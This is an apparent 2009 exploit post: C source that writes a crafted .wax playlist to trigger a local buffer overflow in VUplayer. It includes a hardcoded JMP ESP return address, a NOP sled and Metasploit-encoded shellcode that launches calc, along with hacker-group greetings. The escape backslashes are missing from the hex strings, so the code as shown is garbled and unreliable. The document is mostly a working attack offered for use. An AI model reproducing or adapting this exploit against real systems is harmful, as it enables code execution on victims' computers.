vuplayerwax-overflow.txt
Posted on 26 January 2009
/* VUplayer (.wax file) local buffer overflow crash exploit * By Assad edin - Moroccan Hackerz ( Mgharba Until Death ) - Storms0uth@hotmail.com * Mgharba Bhjawa Msalmine : xCracker - Assad edin - Simo-s0ft . * Special Thanks: All Moroccan & Muslims Hackers & Str0ke Ro7 T9Awd CHof li I7wik. */ #include<stdio.h> #include<string.h> #include<windows.h> // unicode format char header1[]= "x3cx77x61x78x20x76x65x72x73x69x6fx6ex20x3dx20x22" "x33x2ex30x22x20x3ex0dx0dx0dx3cx65x6ex74x72x79x3e" "x0dx0dx0dx3cx74x69x74x6cx65x3ex43x6fx64x65x64x20" "x42x79x20x53x69x6dx4fx2dx73x30x66x54x2ex6dx70x33" "x3cx2fx74x69x74x6cx65x3ex0dx0dx0dx3cx72x65x66x20" "x68x72x65x66x20x3dx09"; //win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com unsigned char scode[] = "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49" "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36" "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34" "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41" "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x44" "x42x30x42x50x42x30x4bx48x45x54x4ex43x4bx38x4ex47" "x45x50x4ax57x41x30x4fx4ex4bx58x4fx54x4ax41x4bx38" "x4fx45x42x42x41x50x4bx4ex49x44x4bx38x46x33x4bx48" "x41x50x50x4ex41x53x42x4cx49x59x4ex4ax46x58x42x4c" "x46x57x47x30x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e" "x46x4fx4bx53x46x55x46x32x46x50x45x47x45x4ex4bx58" "x4fx45x46x52x41x50x4bx4ex48x56x4bx58x4ex50x4bx44" "x4bx48x4fx55x4ex41x41x30x4bx4ex4bx58x4ex41x4bx38" "x41x50x4bx4ex49x48x4ex45x46x32x46x50x43x4cx41x33" "x42x4cx46x46x4bx38x42x44x42x53x45x38x42x4cx4ax47" "x4ex30x4bx48x42x44x4ex50x4bx58x42x37x4ex51x4dx4a" "x4bx48x4ax36x4ax30x4bx4ex49x50x4bx38x42x58x42x4b" "x42x50x42x50x42x50x4bx38x4ax36x4ex43x4fx45x41x53" "x48x4fx42x46x48x35x49x38x4ax4fx43x48x42x4cx4bx57" "x42x45x4ax36x42x4fx4cx38x46x30x4fx35x4ax46x4ax39" "x50x4fx4cx38x50x50x47x55x4fx4fx47x4ex43x46x41x46" "x4ex46x43x36x42x50x5a"; char header2[]= "x2fx3ex0dx3cx2fx65x6ex74x72x79x3ex0dx3cx2fx77x61" "x78x3e"; int main(int argc,char *argv[]) { FILE *openfile; char exploit[1290]; char junk[925]; char ret[]="x68xD5x85x7C";// JMP kernel32.dll esp (Windows Trust SP2) char nop[]="x90x90x90x90x90x90x90x90x90"; printf(" CoDEd By Ismail ==> marrakesh city"); memset(junk,0x41,925); memcpy(exploit,junk,925); memcpy(exploit+925,ret,strlen(ret)); memcpy(exploit+925+strlen(ret),nop,strlen(nop)); memcpy(exploit+925+strlen(ret)+strlen(nop),scode,343); openfile=fopen("ismail.wax","wb"); if(openfile==NULL){ perror("ERROR.... ");} fputs(header1,openfile); fputs(exploit,openfile); fputs(header2,openfile); fclose(openfile); printf("File created .....!" "open it whit VUplayer..!"); return 0; }
